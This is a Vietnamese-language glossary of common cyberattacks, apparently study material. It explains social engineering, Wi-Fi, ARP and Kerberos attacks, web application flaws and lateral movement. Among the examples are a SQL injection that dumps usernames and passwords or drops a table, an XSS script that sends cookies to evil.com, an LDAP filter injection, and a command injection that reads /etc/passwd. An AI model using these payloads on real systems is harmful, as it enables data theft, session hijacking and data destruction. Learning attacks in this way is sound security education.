Các Cuộc Tấn Công Và Thuật Ngữ Phổ Biến Cần Thiết Và Hữu Ích
I. Tấn công Kỹ thuật Xã hội & Nhắm vào Con người
Các cuộc tấn công khai thác tâm lý và sự tin tưởng của con người để lấy thông tin hoặc truy cập trái phép.
Vishing attack (Tấn công lừa đảo qua giọng nói)
Vishing là một hình thức tấn công mạng trong đó kẻ tấn công sử dụng các cuộc gọi điện thoại hoặc tin nhắn thoại để lừa đảo nạn nhân tiết lộ thông tin cá nhân hoặc tài chính nhạy cảm. Chúng thường mạo danh các tổ chức uy tín như ngân hàng, công ty viễn thông, hoặc cơ quan chính phủ để tạo lòng tin.
Cách hoạt động:
- Mạo danh: Kẻ tấn công gọi điện và giả danh là nhân viên ngân hàng, cảnh sát, hoặc một đơn vị đáng tin cậy.
- Tạo tình huống khẩn cấp: Chúng tạo ra một kịch bản cấp bách (ví dụ: “tài khoản của bạn đã bị xâm nhập”) để nạn nhân hoảng sợ và mất cảnh giác.
- Yêu cầu thông tin: Kẻ tấn công yêu cầu nạn nhân cung cấp thông tin nhạy cảm như mật khẩu, mã OTP, hoặc thông tin thẻ tín dụng để “xác minh” hoặc “bảo vệ tài khoản”.
Whaling attack (Tấn công cá voi)
Đây là một hình thức lừa đảo nhắm mục tiêu vào các cá nhân cấp cao trong một tổ chức, như CEO hoặc CFO. Kẻ tấn công sử dụng các kỹ thuật tinh vi để mạo danh người đáng tin cậy nhằm đánh cắp thông tin nhạy cảm, tiền bạc, hoặc quyền truy cập hệ thống.
Cách hoạt động:
- Nghiên cứu mục tiêu: Kẻ tấn công tìm hiểu kỹ về “cá voi” (mục tiêu cấp cao) và tổ chức của họ.
- Tạo email giả mạo: Chúng gửi một email có vẻ hợp pháp, thường mạo danh một đồng nghiệp hoặc đối tác kinh doanh, yêu cầu thực hiện một hành động khẩn cấp như chuyển tiền hoặc gửi dữ liệu nhạy cảm.
- Lợi dụng quyền hạn: Cuộc tấn công thành công vì nó khai thác quyền lực và khả năng ra quyết định nhanh chóng của các nhà lãnh đạo.
Watering hole attack (Tấn công hố nước)
Đây là kiểu tấn công mà tin tặc nhắm vào các trang web mà một nhóm người dùng cụ thể thường xuyên truy cập. Thay vì tấn công trực tiếp, tin tặc lây nhiễm mã độc vào các trang web này và chờ đợi người dùng truy cập để lây nhiễm vào máy tính của họ. Mục tiêu cuối cùng là xâm nhập vào mạng của tổ chức mà người dùng đó thuộc về.
Cách hoạt động:
- Xác định mục tiêu: Kẻ tấn công xác định một nhóm người dùng (ví dụ: nhân viên của một công ty) và các trang web họ hay lui tới (hố nước).
- Lây nhiễm vào “hố nước”: Chúng tìm lỗ hổng trên các trang web này và chèn mã độc vào.
- Lây nhiễm cho nạn nhân: Khi người dùng mục tiêu truy cập trang web đã bị nhiễm độc, mã độc sẽ tự động được cài đặt vào máy tính của họ.
Pharming attack
Pharming là kiểu tấn công chuyển hướng người dùng từ một trang web hợp pháp đến một trang web giả mạo mà không cần họ nhấp vào liên kết nào. Mục tiêu là để đánh cắp thông tin đăng nhập hoặc dữ liệu tài chính.
Cách hoạt động:
- Thay đổi file host: Kẻ tấn công cài mã độc vào máy tính của nạn nhân (thường qua email hoặc phần mềm giả). Mã độc này sẽ sửa đổi file
hosts
của hệ điều hành, khiến trình duyệt chuyển hướng tên miền hợp pháp (ví dụ:nganhang.com
) đến địa chỉ IP của trang web giả mạo do kẻ tấn công kiểm soát.
Tailgating / Piggybacking (Bám đuôi)
Đây là một hình thức tấn công vật lý, trong đó một người không được phép đi theo ngay sau một người được phép để vào một khu vực có bảo mật mà không cần xác thực. Kẻ tấn công lợi dụng sự bất cẩn hoặc lòng tốt của người có thẩm quyền để đạt được mục tiêu.
Cách hoạt động:
- Kẻ tấn công có thể giả vờ là nhân viên giao hàng hoặc một nhân viên đang bê đồ và nhờ người khác giữ cửa giúp. Khi người được ủy quyền quẹt thẻ để vào, kẻ tấn công sẽ đi theo ngay sau họ.
Badge cloning (Sao chép thẻ)
Đây là hành vi sao chép thông tin từ một thẻ vật lý (như thẻ ra vào) sang một thẻ khác để sử dụng thẻ giả mạo nhằm truy cập trái phép. Về cơ bản, nó là việc tạo ra một bản sao trái phép của một chiếc thẻ.
Cách hoạt động:
- Kẻ tấn công sử dụng một thiết bị đọc thẻ (thường là RFID skimmer) để lén đọc và sao chép dữ liệu từ thẻ của nạn nhân ở khoảng cách gần. Sau đó, dữ liệu này được ghi vào một thẻ trắng để tạo ra một bản sao hoàn chỉnh.
II. Tấn công Mạng & Giao thức
Các cuộc tấn công nhắm vào hạ tầng mạng, giao thức truyền thông và xác thực.
Wireless attacks (Tấn công mạng không dây)
Đây là những hình thức tấn công nhằm vào các hệ thống sử dụng kết nối không dây như Wi-Fi hoặc Bluetooth. Chúng khai thác lỗ hổng trong giao thức, cấu hình yếu, hoặc sự bất cẩn của người dùng để đánh cắp dữ liệu hoặc gây gián đoạn dịch vụ.
Cách hoạt động:
- Nghe lén (Eavesdropping): Kẻ tấn công chặn và thu thập các gói tin không dây không được mã hóa để đọc trộm dữ liệu.
- Tấn công Man-in-the-Middle (MitM): Kẻ tấn công tạo một điểm truy cập Wi-Fi giả mạo (Evil Twin) để người dùng kết nối vào. Mọi lưu lượng truy cập của nạn nhân sẽ đi qua thiết bị của kẻ tấn công.
- Tấn công từ chối dịch vụ (DoS): Kẻ tấn công gửi hàng loạt gói tin gây nhiễu hoặc gói tin ngắt kết nối để làm tê liệt mạng Wi-Fi.
Disassociation attack (Tấn công ngắt kết nối)
Đây là một dạng tấn công mạng không dây nhằm cắt đứt kết nối giữa thiết bị người dùng và điểm truy cập Wi-Fi (Access Point). Nó là một kiểu tấn công phổ biến trong môi trường Wi-Fi (IEEE 802.11).
Cách hoạt động:
- Kẻ tấn công gửi các gói tin “deauthentication” (ngắt xác thực) giả mạo đến điểm truy cập, đóng giả là thiết bị của nạn nhân. Điểm truy cập nhận được gói tin này sẽ ngắt kết nối với nạn nhân, buộc họ phải kết nối lại. Kỹ thuật này thường được dùng để thực hiện các cuộc tấn công khác trong lúc nạn nhân đang kết nối lại.
Bluesnarfing attack
Đây là một dạng tấn công không dây mà kẻ tấn công truy cập trái phép vào dữ liệu cá nhân trên thiết bị có kết nối Bluetooth mà không cần sự cho phép của người dùng.
Cách hoạt động:
- Quét thiết bị: Kẻ tấn công dùng công cụ để quét các thiết bị Bluetooth có lỗ hổng trong phạm vi gần.
- Vượt qua xác thực: Gửi yêu cầu kết nối giả mạo để khai thác lỗ hổng và ghép nối với thiết bị của nạn nhân.
- Đánh cắp dữ liệu: Sau khi kết nối, kẻ tấn công có thể tải về danh bạ, tin nhắn, ảnh và các dữ liệu khác mà nạn nhân không hề hay biết.
IP Spoofing Attack (Tấn công giả mạo IP)
Đây là hình thức tấn công mà kẻ tấn công giả mạo địa chỉ IP nguồn của các gói dữ liệu để lừa hệ thống đích rằng chúng đến từ một nguồn đáng tin cậy.
Cách hoạt động:
- Thay đổi Header: Kẻ tấn công sử dụng công cụ để sửa đổi địa chỉ IP nguồn trong tiêu đề của gói tin IP trước khi gửi đi.
- Đánh lừa hệ thống đích: Hệ thống nhận được gói tin sẽ xử lý nó như thể nó đến từ nguồn hợp pháp, có thể cho phép truy cập trái phép hoặc phản hồi lại địa chỉ IP bị giả mạo (hữu ích trong các cuộc tấn công DDoS).
ARP cache poisoning attacks (Tấn công đầu độc bộ đệm ARP)
Đây là kiểu tấn công Man-in-the-Middle (MitM) trong đó kẻ tấn công giả mạo thông tin ARP để lừa các thiết bị trong mạng LAN gửi dữ liệu đến máy của kẻ tấn công thay vì đích thực sự. Giao thức ARP không có cơ chế xác thực nên rất dễ bị giả mạo.
Cách hoạt động:
- Gửi gói tin ARP giả mạo: Kẻ tấn công gửi các gói tin ARP Response giả mạo đến các thiết bị trong mạng LAN, tuyên bố rằng địa chỉ MAC của kẻ tấn công tương ứng với địa chỉ IP của một thiết bị khác (ví dụ: gateway mặc định).
- Cập nhật bộ đệm ARP: Các thiết bị nạn nhân nhận được thông tin này và cập nhật bảng ARP cache của mình một cách sai lệch.
- Chặn dữ liệu: Kể từ đó, mọi dữ liệu mà nạn nhân gửi đến gateway sẽ bị chuyển hướng đến máy của kẻ tấn công trước.
Kerberos & Các cuộc tấn công liên quan
Kerberos là một giao thức xác thực mạng được thiết kế để bảo vệ các hệ thống trong môi trường không an toàn.
Kerberoasting attack
Đây là một kỹ thuật tấn công sau khi xâm nhập, thường được sử dụng để thu thập và bẻ khóa mật khẩu của các tài khoản dịch vụ trong hệ thống Windows Active Directory.
Cách hoạt động:
- Kẻ tấn công yêu cầu một vé dịch vụ (TGS) cho một tài khoản dịch vụ cụ thể từ Domain Controller.
- Domain Controller trả về một vé được mã hóa bằng NTLM hash của mật khẩu tài khoản dịch vụ đó.
- Kẻ tấn công trích xuất vé này và tiến hành bẻ khóa offline bằng các công cụ như Hashcat để tìm ra mật khẩu gốc.
Kerberos silver ticket attack
Đây là kỹ thuật cho phép kẻ tấn công giả mạo vé dịch vụ (TGS) để truy cập một dịch vụ cụ thể mà không cần tương tác với Domain Controller.
Cách hoạt động:
- Xâm nhập: Kẻ tấn công cần có quyền admin trên một máy chủ chứa dịch vụ mục tiêu.
- Trích xuất Hash: Chúng trích xuất mật khẩu hash (NTLM hash) của tài khoản dịch vụ đó.
- Tạo vé giả: Kẻ tấn công sử dụng hash đã trích xuất để tự tạo ra một vé dịch vụ (Silver Ticket) hợp lệ và dùng nó để truy cập dịch vụ.
III. Tấn công Ứng dụng Web
Các cuộc tấn công khai thác lỗ hổng trong mã nguồn hoặc logic của các ứng dụng web.
SQL Injection Attack (Tấn công tiêm SQL)
Đây là một kiểu tấn công mà kẻ tấn công chèn mã SQL độc hại vào các trường nhập liệu của ứng dụng web để thao túng truy vấn cơ sở dữ liệu. Nếu ứng dụng không xử lý đầu vào đúng cách, kẻ tấn công có thể truy cập, sửa đổi, hoặc xóa dữ liệu nhạy cảm.
Cách hoạt động:
- Kẻ tấn công tìm một trường nhập liệu (ví dụ: ô tìm kiếm, form đăng nhập) và chèn các ký tự đặc biệt của SQL (
'
,"
,;
,--
) cùng với các lệnh SQL độc hại. - Ví dụ (Union Injection): Chèn
' UNION SELECT username, password FROM users--
vào một trường đầu vào để truy xuất dữ liệu từ bảngusers
. - Ví dụ (Stacked Query): Chèn
'; DROP TABLE users; --
để xóa bảngusers
sau khi thực hiện truy vấn gốc.
XSS (Cross-Site Scripting)
XSS là kiểu tấn công chèn mã độc (thường là JavaScript) vào các trang web hợp pháp để thực thi trên trình duyệt của người dùng khác. Mục tiêu là đánh cắp thông tin, chiếm quyền phiên làm việc, hoặc giả mạo danh tính.
Cách hoạt động:
- Kẻ tấn công tìm một lỗ hổng trên trang web cho phép hiển thị nội dung do người dùng nhập (ví dụ: phần bình luận).
- Chúng chèn một đoạn mã JavaScript độc hại vào đó. Ví dụ:
<script>document.location='http://evil.com?cookie='+document.cookie</script>
. - Khi một người dùng khác xem trang web đó, trình duyệt của họ sẽ thực thi đoạn mã độc này, và cookie của họ sẽ bị gửi đến máy chủ của kẻ tấn công.
Session fixation attack (Tấn công cố định phiên)
Đây là kiểu tấn công mà kẻ tấn công gán một Session ID đã biết vào trình duyệt của nạn nhân trước khi họ đăng nhập. Nếu ứng dụng không tạo lại Session ID sau khi đăng nhập, kẻ tấn công có thể sử dụng Session ID đó để chiếm quyền phiên của nạn nhân.
Cách hoạt động:
- Lấy Session ID: Kẻ tấn công truy cập trang web để nhận một Session ID hợp lệ.
- Gán Session ID cho nạn nhân: Gửi một liên kết chứa Session ID đó cho nạn nhân (ví dụ:
http://example.com?SID=12345
). - Nạn nhân đăng nhập: Nạn nhân nhấp vào liên kết và đăng nhập bằng Session ID đã bị gán.
- Chiếm quyền: Kẻ tấn công bây giờ có thể sử dụng Session ID
12345
để truy cập vào tài khoản đã đăng nhập của nạn nhân.
LDAP Injection
Đây là kiểu tấn công chèn dữ liệu độc hại vào truy vấn LDAP để thao túng logic và truy cập trái phép thông tin trong một thư mục LDAP.
Cách hoạt động:
- Tương tự như SQL Injection, kẻ tấn công chèn các ký tự điều khiển và toán tử của LDAP (như
*
,|
,&
) vào các trường nhập liệu. Ví dụ, một bộ lọc tìm kiếm(user=<input>)
có thể bị thao túng thành(user=*)(|(uid=*)(cn=*)))
để trả về tất cả người dùng.
HTTP Command Injection (Tấn công tiêm lệnh HTTP)
Đây là kiểu tấn công chèn các lệnh hệ điều hành vào một yêu cầu HTTP để ép máy chủ web thực thi các lệnh đó.
Cách hoạt động:
- Kẻ tấn công tìm một tham số trong yêu cầu HTTP mà ứng dụng sử dụng để thực thi một lệnh shell. Chúng chèn các ký tự phân tách lệnh (như
;
hoặc&&
) và lệnh độc hại của mình. - Ví dụ:
GET /ping?host=127.0.0.1;cat /etc/passwd HTTP/1.1
sẽ khiến máy chủ thực thi cả lệnhping
vàcat /etc/passwd
, làm lộ nội dung file passwd.
IV. Các Kỹ thuật & Khái niệm chung
Các phương pháp và khái niệm cơ bản được sử dụng trong nhiều loại hình tấn công.
Brute-force attack (Tấn công duyệt cạn)
Đây là phương pháp bẻ khóa mật khẩu bằng cách thử tất cả các tổ hợp có thể hoặc thử các mật khẩu trong một danh sách có sẵn cho đến khi tìm được kết quả đúng.
Cách hoạt động:
- Simple Brute Force: Thử mọi tổ hợp ký tự có thể (ví dụ:
a
,b
,...
,aa
,ab
, …). Rất tốn thời gian. - Dictionary Attack: Thử các từ có trong một danh sách (từ điển), thường là các mật khẩu phổ biến hoặc các từ có liên quan đến mục tiêu.
Pass-the-Hash
Đây là một kỹ thuật tấn công sau khi xâm nhập, trong đó kẻ tấn công đánh cắp NTLM hash của mật khẩu người dùng và sử dụng nó để xác thực trên các máy tính khác trong mạng mà không cần biết mật khẩu gốc.
Cách hoạt động:
- Xâm nhập: Kẻ tấn công có được quyền truy cập vào một máy tính trong mạng.
- Trích xuất Hash: Sử dụng các công cụ như Mimikatz để trích xuất NTLM hash của các người dùng đã đăng nhập từ bộ nhớ của máy tính.
- Tái sử dụng Hash (Lateral Movement): Kẻ tấn công sử dụng hash đã đánh cắp để xác thực với các máy chủ hoặc dịch vụ khác trong mạng hỗ trợ xác thực NTLM.
Lateral Movement (Di chuyển ngang)
Đây là kỹ thuật mà kẻ tấn công sử dụng sau khi đã xâm nhập vào một hệ thống, nhằm di chuyển qua các thiết bị và tài nguyên khác trong mạng nội bộ để mở rộng quyền truy cập và tìm kiếm các mục tiêu giá trị hơn.
Cách hoạt động:
- Sau khi chiếm được một máy tính, kẻ tấn công sẽ sử dụng các kỹ thuật như Pass-the-Hash hoặc Kerberoasting để thu thập thông tin đăng nhập.
- Sau đó, chúng dùng các thông tin này để truy cập vào các máy chủ, máy trạm khác, dần dần di chuyển sâu hơn vào hệ thống mạng.
V. Thông tin tham khảo
Mã trạng thái HTTP
Trong giao thức HTTP, các mã trạng thái được phân loại để phản ánh kết quả của một yêu cầu:
- 1xx (Informational): Yêu cầu đã được nhận và đang xử lý.
- 2xx (Success): Yêu cầu đã được xử lý thành công.
- 3xx (Redirection): Cần hành động bổ sung, thường là chuyển hướng.
- 4xx (Client Error): Yêu cầu có lỗi từ phía người dùng (ví dụ: 404 Not Found).
- 5xx (Server Error): Máy chủ gặp sự cố khi xử lý yêu cầu (ví dụ: 500 Internal Server Error).
Công cụ
BeEF (Browser Exploitation Framework)
Đây là một công cụ kiểm tra xâm nhập tập trung vào trình duyệt web. Nó cho phép kiểm tra các lỗ hổng thông qua các cuộc tấn công thời gian thực, như XSS và chèn mã HTML.